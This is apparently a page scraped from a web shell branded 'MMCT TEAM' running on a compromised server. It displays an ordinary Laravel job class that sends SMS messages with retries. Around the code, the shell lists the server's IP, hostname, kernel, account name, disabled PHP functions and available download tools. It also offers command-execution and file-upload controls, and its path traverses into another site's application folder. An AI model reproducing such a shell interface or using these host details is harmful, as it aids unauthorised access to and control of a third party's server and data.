MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/demo.ncriptech.com/../cms.ncriptech.com/app/Jobs/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/demo.ncriptech.com/../cms.ncriptech.com/app/Jobs/SMSSenderJob.php
<?php

namespace App\Jobs;

use Exception;
use Illuminate\Bus\Queueable;
use Illuminate\Support\Facades\Log;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;
use Illuminate\Queue\InteractsWithQueue;
use App\Services\SMS\SMSServiceFactory;
use Illuminate\Queue\SerializesModels;

class SMSSenderJob implements ShouldQueue
{
    use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;

    public $tries = 3; // Number of times the job should be attempted
    public $backoff = 1; // Delay between retries in seconds
    protected $data;

    /**
     * Create a new job instance.
     *
     * @return void
     */
    public function __construct($data)
    {
        $this->data = $data;
    }

    /**
     * Execute the job.
     *
     * @return void
     */
    public function handle()
    {
        try {
            $smsService = SMSServiceFactory::create($this->data['sms_provider']);
            $smsService->sendSMS($this->data['phone'], $this->data['message']);

        } catch (Exception $e) {
            // Log the error or handle the exception
            Log::error('SMS sending failed: ' . $e->getMessage());

            // Re-throw the exception to trigger the retry
            throw $e;
        }
    }

    // Optionally, define retry logic based on exception type
    public function retryAfter()
    {
        return now()->addSeconds($this->backoff);
    }
}

MMCT - 2023